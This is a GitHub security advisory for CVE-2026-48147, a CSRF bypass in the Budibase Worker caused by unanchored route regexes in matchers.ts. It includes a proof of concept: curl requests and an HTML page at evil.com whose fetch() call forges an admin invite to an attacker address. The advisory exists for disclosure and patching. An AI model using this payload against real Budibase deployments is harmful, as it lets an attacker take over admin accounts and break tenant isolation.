GHSA-WXQ7-X3QP-VCR8

Vulnerability from github – Published: 2026-06-12 18:23 – Updated: 2026-06-12 18:23
VLAI
Summary
Budibase: Unanchored Regex in `matchers.ts` Allows CSRF Bypass via Query String Injection in Budibase Worker
Details

Summary

The buildMatcherRegex() / matches() functions in packages/backend-core/src/middleware/matchers.ts share the same structural root cause as the recently patched CVE-2026-31816: route patterns are compiled into unanchored regular expressions and tested against ctx.request.url, which includes the full query string. The CSRF middleware in the Budibase Worker uses this matching system to decide whether to skip CSRF token validation. An unauthenticated attacker can forge state-changing cross-origin requests against any Worker API endpoint by injecting a public route pattern into the query string, causing the CSRF middleware to skip token validation entirely. This allows actions such as sending admin invites, modifying global configuration, and managing users without a valid CSRF token.

CVE-2026-31816 fixed the same unanchored-regex-on-full-URL bug in server/middleware/utils.ts but left backend-core/middleware/matchers.ts untouched.


Details

Root cause — packages/backend-core/src/middleware/matchers.ts:

export const buildMatcherRegex = (patterns: EndpointMatcher[]): RegexMatcher[] => {
  return patterns.map(pattern => {
    let route = pattern.route
    // replaces :param segments with /.*
    const matches = route.match(PARAM_REGEX)
    if (matches) {
      for (let match of matches) {
        const suffix = match.endsWith("/") ? "/" : ""
        route = route.replace(match, "/.*" + suffix)
      }
    }
    return { regex: new RegExp(route), method, route }
    //              ^ no ^ anchor, no $ anchor — matches anywhere in string
  })
}

export const matches = (ctx: Ctx, options: RegexMatcher[]) => {
  return options.find(({ regex, method }) => {
    const urlMatch = regex.test(ctx.request.url)  // full URL including query string
    const methodMatch = method === "ALL" ? true
      : ctx.request.method.toLowerCase() === method.toLowerCase()
    return urlMatch && methodMatch
  })
}

Two compounding bugs identical to the patched CVE: 1. new RegExp(route) — no ^ start anchor, no $ end anchor. 2. ctx.request.url — full URL string including ?query=value, not just the path.


CSRF middleware — packages/backend-core/src/middleware/csrf.ts:

export function csrf(
  opts: { noCsrfPatterns: EndpointMatcher[] } = { noCsrfPatterns: [] }
) {
  const noCsrfOptions = buildMatcherRegex(opts.noCsrfPatterns)
  return (async (ctx: Ctx, next: Next) => {
    const found = matches(ctx, noCsrfOptions)
    if (found) {
      return next()   // <-- CSRF check entirely skipped when pattern matches
    }
    // ... CSRF token validation ...
  }) as Middleware
}

Worker registration — packages/worker/src/api/index.ts:

const NO_CSRF_ENDPOINTS = [...PUBLIC_ENDPOINTS]
// PUBLIC_ENDPOINTS includes (among others):
// { route: "/api/global/auth/:tenantId", method: "POST" }
// { route: "/api/global/users/init",     method: "POST" }
// { route: "/api/system/restored",       method: "POST" }

router
  .use(auth.buildCsrfMiddleware({ noCsrfPatterns: NO_CSRF_ENDPOINTS }))

buildMatcherRegex compiles "/api/global/auth/:tenantId" into the regex /api/global/auth/.* (via PARAM_REGEX replacing /:tenantId/.*). Since the regex is unanchored, it matches the substring "/api/global/auth/" anywhere in ctx.request.url — including inside a query string parameter on a completely different endpoint.

Triggering condition:

POST /api/global/users/invite?x=/api/global/auth/evil
  • ctx.request.url = "/api/global/users/invite?x=/api/global/auth/evil"
  • new RegExp("/api/global/auth/.*").test(ctx.request.url)true (substring found in query string)
  • ctx.request.method === "POST"true
  • matches() returns the pattern entry → CSRF skipped
  • The protected user-invite POST proceeds without any CSRF token

Additional affected middleware (same matches() call):

Middleware Pattern list Security effect when bypassed
csrf() NO_CSRF_ENDPOINTS CSRF token validation skipped
tenancy() NO_TENANCY_ENDPOINTS allowNoTenant = true, bypasses tenant ID requirement
authenticated() PUBLIC_ENDPOINTS Marks endpoint as publicEndpoint = true

The NO_TENANCY_ENDPOINTS entry { route: "/api/system", method: "ALL" } compiles to /api/system (no param replacement). Since method: "ALL" matches every HTTP verb and the pattern is unanchored, any request with ?x=/api/system/x in its URL matches, potentially bypassing tenant isolation in multi-tenant deployments.


PoC

Prerequisites: Victim user is logged into a Budibase Worker instance (e.g., https://budibase.target.com) in their browser. Attacker hosts a page at https://evil.com.

Step 1 — Verify CSRF is normally enforced:

# Without the bypass — CSRF token missing → rejected
curl -s -X POST 'https://budibase.target.com/api/global/users/invite' \
  -H 'Cookie: <victim_session>' \
  -H 'Content-Type: application/json' \
  -d '{"email":"attacker@evil.com","roleId":"ADMIN","userInfo":{}}' \
  -v
# → HTTP 403 CSRF token mismatch

Step 2 — CSRF bypass via query string injection:

# With the bypass — append a public-route pattern in the query string
curl -s -X POST 'https://budibase.target.com/api/global/users/invite?x=/api/global/auth/evil' \
  -H 'Cookie: <victim_session>' \
  -H 'Content-Type: application/json' \
  -d '{"email":"attacker@evil.com","roleId":"ADMIN","userInfo":{}}' \
  -v
# → HTTP 200 OK — invite created, no CSRF token required

Step 3 — Cross-site exploitation (victim visits attacker page):

<!-- https://evil.com/csrf.html -->
<html>
<body>
<script>
fetch(
  'https://budibase.target.com/api/global/users/invite?x=/api/global/auth/evil',
  {
    method: 'POST',
    credentials: 'include',
    headers: { 'Content-Type': 'application/json' },
    body: JSON.stringify({
      email: 'attacker@evil.com',
      roleId: 'ADMIN',
      userInfo: {}
    })
  }
)
.then(r => r.json())
.then(d => console.log('Invite sent:', d))
</script>
</body>
</html>

When the authenticated victim visits https://evil.com/csrf.html, the browser sends the cross-origin POST including the victim's session cookie. The Worker's CSRF middleware matches /api/global/auth/.* in the query string, skips validation, and processes the admin invite.


Impact

An unauthenticated attacker can forge state-changing requests on behalf of any authenticated Budibase admin by injecting a public endpoint pattern into the query string of a Worker API call. Operations exposed by the Worker that become exploitable via CSRF include:

  • User management: send admin/operator invites, delete users, modify roles
  • Global configuration: update authentication settings (SSO, OIDC, SMTP), change branding
  • Tenant administration: in multi-tenant instances, tenant isolation bypass via NO_TENANCY_ENDPOINTS (/api/system match) combined with the CSRF bypass allows cross-tenant administrative actions

The vulnerability affects all Budibase self-hosted deployments with an internet-accessible Worker service up to and including version 3.32.3, which is the latest released version. It is a direct sibling of CVE-2026-31816 and stems from the same unanchored-regex-on-full-URL pattern in packages/backend-core/src/middleware/matchers.ts, which was not addressed by the patch for that CVE.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "@budibase/backend-core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.35.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-48147"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-185",
      "CWE-352"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-12T18:23:41Z",
    "nvd_published_at": "2026-05-27T18:16:27Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\n\nThe `buildMatcherRegex()` / `matches()` functions in `packages/backend-core/src/middleware/matchers.ts` share the same structural root cause as the recently patched CVE-2026-31816: route patterns are compiled into **unanchored regular expressions** and tested against `ctx.request.url`, which includes the full query string. The CSRF middleware in the Budibase Worker uses this matching system to decide whether to skip CSRF token validation. An unauthenticated attacker can forge state-changing cross-origin requests against any Worker API endpoint by injecting a public route pattern into the query string, causing the CSRF middleware to skip token validation entirely. This allows actions such as sending admin invites, modifying global configuration, and managing users without a valid CSRF token.\n\nCVE-2026-31816 fixed the same unanchored-regex-on-full-URL bug in `server/middleware/utils.ts` but left `backend-core/middleware/matchers.ts` untouched.\n\n---\n\n### Details\n\n**Root cause \u2014 `packages/backend-core/src/middleware/matchers.ts`:**\n\n```typescript\nexport const buildMatcherRegex = (patterns: EndpointMatcher[]): RegexMatcher[] =\u003e {\n  return patterns.map(pattern =\u003e {\n    let route = pattern.route\n    // replaces :param segments with /.*\n    const matches = route.match(PARAM_REGEX)\n    if (matches) {\n      for (let match of matches) {\n        const suffix = match.endsWith(\"/\") ? \"/\" : \"\"\n        route = route.replace(match, \"/.*\" + suffix)\n      }\n    }\n    return { regex: new RegExp(route), method, route }\n    //              ^ no ^ anchor, no $ anchor \u2014 matches anywhere in string\n  })\n}\n\nexport const matches = (ctx: Ctx, options: RegexMatcher[]) =\u003e {\n  return options.find(({ regex, method }) =\u003e {\n    const urlMatch = regex.test(ctx.request.url)  // full URL including query string\n    const methodMatch = method === \"ALL\" ? true\n      : ctx.request.method.toLowerCase() === method.toLowerCase()\n    return urlMatch \u0026\u0026 methodMatch\n  })\n}\n```\n\nTwo compounding bugs identical to the patched CVE:\n1. `new RegExp(route)` \u2014 no `^` start anchor, no `$` end anchor.\n2. `ctx.request.url` \u2014 full URL string including `?query=value`, not just the path.\n\n---\n\n**CSRF middleware \u2014 `packages/backend-core/src/middleware/csrf.ts`:**\n\n```typescript\nexport function csrf(\n  opts: { noCsrfPatterns: EndpointMatcher[] } = { noCsrfPatterns: [] }\n) {\n  const noCsrfOptions = buildMatcherRegex(opts.noCsrfPatterns)\n  return (async (ctx: Ctx, next: Next) =\u003e {\n    const found = matches(ctx, noCsrfOptions)\n    if (found) {\n      return next()   // \u003c-- CSRF check entirely skipped when pattern matches\n    }\n    // ... CSRF token validation ...\n  }) as Middleware\n}\n```\n\n---\n\n**Worker registration \u2014 `packages/worker/src/api/index.ts`:**\n\n```typescript\nconst NO_CSRF_ENDPOINTS = [...PUBLIC_ENDPOINTS]\n// PUBLIC_ENDPOINTS includes (among others):\n// { route: \"/api/global/auth/:tenantId\", method: \"POST\" }\n// { route: \"/api/global/users/init\",     method: \"POST\" }\n// { route: \"/api/system/restored\",       method: \"POST\" }\n\nrouter\n  .use(auth.buildCsrfMiddleware({ noCsrfPatterns: NO_CSRF_ENDPOINTS }))\n```\n\n`buildMatcherRegex` compiles `\"/api/global/auth/:tenantId\"` into the regex `/api/global/auth/.*` (via PARAM_REGEX replacing `/:tenantId` \u2192 `/.*`). Since the regex is unanchored, it matches the substring `\"/api/global/auth/\"` **anywhere** in `ctx.request.url` \u2014 including inside a query string parameter on a completely different endpoint.\n\n**Triggering condition:**\n\n```\nPOST /api/global/users/invite?x=/api/global/auth/evil\n```\n\n- `ctx.request.url` = `\"/api/global/users/invite?x=/api/global/auth/evil\"`\n- `new RegExp(\"/api/global/auth/.*\").test(ctx.request.url)` \u2192 `true` (substring found in query string)\n- `ctx.request.method === \"POST\"` \u2192 `true`\n- `matches()` returns the pattern entry \u2192 CSRF skipped\n- The protected user-invite POST proceeds without any CSRF token\n\n---\n\n**Additional affected middleware (same `matches()` call):**\n\n| Middleware | Pattern list | Security effect when bypassed |\n|---|---|---|\n| `csrf()` | `NO_CSRF_ENDPOINTS` | CSRF token validation skipped |\n| `tenancy()` | `NO_TENANCY_ENDPOINTS` | `allowNoTenant = true`, bypasses tenant ID requirement |\n| `authenticated()` | `PUBLIC_ENDPOINTS` | Marks endpoint as `publicEndpoint = true` |\n\nThe `NO_TENANCY_ENDPOINTS` entry `{ route: \"/api/system\", method: \"ALL\" }` compiles to `/api/system` (no param replacement). Since `method: \"ALL\"` matches every HTTP verb and the pattern is unanchored, any request with `?x=/api/system/x` in its URL matches, potentially bypassing tenant isolation in multi-tenant deployments.\n\n---\n\n### PoC\n\n**Prerequisites:** Victim user is logged into a Budibase Worker instance (e.g., `https://budibase.target.com`) in their browser. Attacker hosts a page at `https://evil.com`.\n\n**Step 1 \u2014 Verify CSRF is normally enforced:**\n\n```bash\n# Without the bypass \u2014 CSRF token missing \u2192 rejected\ncurl -s -X POST \u0027https://budibase.target.com/api/global/users/invite\u0027 \\\n  -H \u0027Cookie: \u003cvictim_session\u003e\u0027 \\\n  -H \u0027Content-Type: application/json\u0027 \\\n  -d \u0027{\"email\":\"attacker@evil.com\",\"roleId\":\"ADMIN\",\"userInfo\":{}}\u0027 \\\n  -v\n# \u2192 HTTP 403 CSRF token mismatch\n```\n\n**Step 2 \u2014 CSRF bypass via query string injection:**\n\n```bash\n# With the bypass \u2014 append a public-route pattern in the query string\ncurl -s -X POST \u0027https://budibase.target.com/api/global/users/invite?x=/api/global/auth/evil\u0027 \\\n  -H \u0027Cookie: \u003cvictim_session\u003e\u0027 \\\n  -H \u0027Content-Type: application/json\u0027 \\\n  -d \u0027{\"email\":\"attacker@evil.com\",\"roleId\":\"ADMIN\",\"userInfo\":{}}\u0027 \\\n  -v\n# \u2192 HTTP 200 OK \u2014 invite created, no CSRF token required\n```\n\n**Step 3 \u2014 Cross-site exploitation (victim visits attacker page):**\n\n```html\n\u003c!-- https://evil.com/csrf.html --\u003e\n\u003chtml\u003e\n\u003cbody\u003e\n\u003cscript\u003e\nfetch(\n  \u0027https://budibase.target.com/api/global/users/invite?x=/api/global/auth/evil\u0027,\n  {\n    method: \u0027POST\u0027,\n    credentials: \u0027include\u0027,\n    headers: { \u0027Content-Type\u0027: \u0027application/json\u0027 },\n    body: JSON.stringify({\n      email: \u0027attacker@evil.com\u0027,\n      roleId: \u0027ADMIN\u0027,\n      userInfo: {}\n    })\n  }\n)\n.then(r =\u003e r.json())\n.then(d =\u003e console.log(\u0027Invite sent:\u0027, d))\n\u003c/script\u003e\n\u003c/body\u003e\n\u003c/html\u003e\n```\n\nWhen the authenticated victim visits `https://evil.com/csrf.html`, the browser sends the cross-origin POST including the victim\u0027s session cookie. The Worker\u0027s CSRF middleware matches `/api/global/auth/.*` in the query string, skips validation, and processes the admin invite.\n\n---\n\n### Impact\n\nAn unauthenticated attacker can forge state-changing requests on behalf of any authenticated Budibase admin by injecting a public endpoint pattern into the query string of a Worker API call. Operations exposed by the Worker that become exploitable via CSRF include:\n\n- **User management**: send admin/operator invites, delete users, modify roles\n- **Global configuration**: update authentication settings (SSO, OIDC, SMTP), change branding\n- **Tenant administration**: in multi-tenant instances, tenant isolation bypass via `NO_TENANCY_ENDPOINTS` (`/api/system` match) combined with the CSRF bypass allows cross-tenant administrative actions\n\nThe vulnerability affects all Budibase self-hosted deployments with an internet-accessible Worker service up to and including version **3.32.3**, which is the latest released version. It is a direct sibling of CVE-2026-31816 and stems from the same unanchored-regex-on-full-URL pattern in `packages/backend-core/src/middleware/matchers.ts`, which was not addressed by the patch for that CVE.",
  "id": "GHSA-wxq7-x3qp-vcr8",
  "modified": "2026-06-12T18:23:41Z",
  "published": "2026-06-12T18:23:41Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/Budibase/budibase/security/advisories/GHSA-wxq7-x3qp-vcr8"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-48147"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/Budibase/budibase"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Budibase: Unanchored Regex in `matchers.ts` Allows CSRF Bypass via Query String Injection in Budibase Worker "
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…